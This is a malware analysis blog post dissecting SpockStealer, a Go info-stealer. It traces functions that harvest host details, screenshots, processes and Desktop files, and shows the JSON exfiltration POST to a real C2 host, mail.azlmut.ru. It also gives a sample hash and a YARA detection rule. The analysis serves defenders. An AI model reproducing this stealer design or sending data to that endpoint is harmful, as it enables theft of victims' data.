Dev | Disassemble | Debug

SpockStealer: Technical analysis of a Golang-based info-stealer.

Table Of Contents

Background.

Recently, while I was browsing X previously known as Twitter, I stumbled upon a tweet or post by a fellow security researcher Yogesh Londhe which mentioned an uncommon stealer name, which I had never heard of, also known as Spock Stealer.

With the rise of modern compiled languages and the constant influx of the notion that malicious software written in languages like Go or Rust is cumbersome to analyze and dissect, coupled with the oversaturation of the stealer market, it seems like every aspiring programmer’s go-to learning project is developing a stealer. Well, it does be like that sometimes. If you doubt this claim, I invite you to search the keyword ‘Stealer’ on GitHub, Telegram, and popular forums.

Initially, I thought Spock Stealer might bring something innovative in terms of functionality and overall quality. Unfortunately, I was disappointed to discover that it is just another basic stealer developed in Go. As an analyst, I’m unaware of the infection vector of this stealer, but I must commend the author for not using a precompiled GitHub project as part of the campaign, unlike this threat actor.

Therefore, in this blog, I will walk through the technical aspects of this stealer and provide some YARA rules for fellow researchers.

Stealer Analysis

In this section, we will perform some technical analysis on the stealer.

Metadata

SHA-256 : 89300678df750de360222d0cefbebb4291f30c5aec86c2cdaab32b0f09891e94.

Sample: Available here.

File Information.

image

File Name: docx.exe.

File Creation Time: Unknown.

Go-build ID: "hyJI5wXtKgEwMeLZtwm5/SkRZinb1FBXW1ONyASbu/SlLnz5DZLKjb_mHyQtXl/tYupb-n1J34C4eBJLKsB"

File Type: Portable Executable 64

VirusTotal Detection: 12/72

Analysis of the stealer using IDA-Freeware.

image

image

Upon loading the file into IDA Freeware, we navigate to the main_main function. Then we can also see that there are various functions part of this main function like getIpAddresses, which enumerates the victim’s IP Address, then we have getHostname which enumerates the hostname of the target machine, then we have getCurrentUser which enumerates the current user name and then we have takeScreen function which is responsible for capturing screenshots and then we have getProcessList & getDesktopFiles which are responsible for enumerating the list of processes running and the later is responsible for getting the lists of files in the Desktop folder of the target or victim device.

Now, let us check out the individual functions one by one.

image

Upon exploring this function, we can see that this function is using a Golang package known as net used for network programming. Then we can see that the net_InterfaceAddrs function is being called, which is responsible for returning a slice of the Addr object which contains the unicast addresses.

image

Then from the return object which is the slice, it then from the same net package IPNet_net_Addr, which checks if the returned slice contains IP addresses.

image

Then, it checks if the IP Address is a loopback address using the IP_IsLoopback function. Then the IP Address is stored in a slice and then the loop continues, and finally the function returns the IP Address. Now, let us explore the next function.

image

Upon exploring this function, we can see that this function uses a Golang package known as os which further uses a function known as Hostname.

image

This function creates a slice which is used to store the returned value from the GetComputerNameEx API called in Golang, and finally, the slice is returned which contains the hostname. Now let us move ahead to the next function.

image

image

Upon exploring this function, we can see that this function uses a Golang package known as os which further uses a function known as Current, to enumerate the current user.

image

Upon enumerating the current user, it goes ahead and lists the groups from the enumerated user.

image

Now, upon enumerating the group, it goes ahead and enumerates the group ID.

image

Now, once all the data is enumerated it saves the data into a slice object and finally returns from the function. The returned data from this function looks something like this "groups":["S-1-5-32-544 = Administrators", "S-1-5-32-545 = Users", "S-1-5-21-2246122658-3693405117-2476756634-513 = None"]. Thanks to Joe Sandbox. Now, let us move ahead with the next function.

image

Upon exploring this function, we can see that this function is responsible for capturing screenshots.

image

As we can see this function uses an open source for capturing screenshots, initially, it uses NumActiveDisplays to enumerate the number of displays available.

image

Then it gets the coordinates of the display which is it about to capture, and finally, it does capture it.

image

Then, it encodes the data in PNG format.

image

Then, it goes ahead and converts the PNG data to base64 encoding, and stores it in a slice object, which is finally returned from this getScreenshot function. Now, let us move ahead to the next function.

image

image

Upon, looking into the function, we can see that the function is using gopsutil to enumerate the running process in the target machine, and finally, the data is stored in a slice object, which is returned from this function. Now, let us move ahead to the next function.

image

Here, we can see that there is a call to a function syscall_Environ, let us explore the function.

image

This function is basically for returning the environment variables for the current process, which is indirectly using GetEnvironmentStrings Windows API in the Golang code.

Now, let us move ahead to the next function.

image

image

This function reads the hardcoded path C:\Users\%s\Desktop which it uses as an argument for the function ReadDir which reads the files in the directory and then uses a slice object to store the data and returns from the function.

image

Now, once all the data is harvested it goes ahead encoding the data in a JSON format using the Marshal function, which converts all the data in a JSON format for exfiltration to the external C2 Server.

Now, once we are done with the feature-focused functions let us look into the exfiltration part.

image

image

Upon scrolling, we can see that the binary is sending a POST request to a URL, which is supposedly the external C2 host responsible for storing the exfiltrated data, and the content type is JSON, where in layman’s terms it is sending the JSON encoded content to C2. The data from the request looks something like this.

POST /topgamer HTTP/1.1
Host: mail.azlmut.ru
User-Agent: Go-http-client/1.1
Content-Length: XXXXXX
Content-Type: application/json
Accept-Encoding: gzip

Upon a little bit of OSINT, it turns out that the domain has been recently registered based out of Russia.

Features of the malware

Open Source packages used

Well, generally, a Go binary uses a lot of generic open-source packages irrespective of the intent like OS, Net and many more, no matter whether it is malicious or not. So, I will mention the open-source packages which are uncommon and have been used by this generic stealer.

YARA Rule

I am not very good at writing YARA Signatures, so if you find that the signature is faulty and causes FNs feel free to let me know.

rule spocksteal {
    meta:
        author = "Elemental X"
        description = "YARA rule for detecting malicious spock stealer binary"
        hash = "89300678df750de360222d0cefbebb4291f30c5aec86c2cdaab32b0f09891e94"
        date = "2024-02-26"

    strings:
        $opcode_sequence = { 48 8B 6D 00 48 8D 44 24 78 E8 [4] 48 8D 44 24 78 E8 [4] 48 8D 44 24 78 E8 [4] 48 8D 44 24 78 E8 [4] 48 8D 44 24 78 E8 [4] 90 }
        $string1 = "github.com/kbinani/screenshot"
        $string2 = "github.com/shirou/gopsutil/"
        $string3 = "spock-go-main/"
        $url_string = "https://mail.azlmut.ru/topgamerjson"

    condition:
        $opcode_sequence and ($string1 or $string2 or $string3 or $url_string)
}

This rule is very much specific to the binary and will detect the samples released by this build in the wild. Upon better telemetry, the rule shall be tweaked.

MITRE ATT&CK

Summary

This is a very generic stealer, which uses Golang and presumably is in the development stage, where the developer is supposed to add more features as the path from the binary clearly says that it is part of a stealer project.

Resources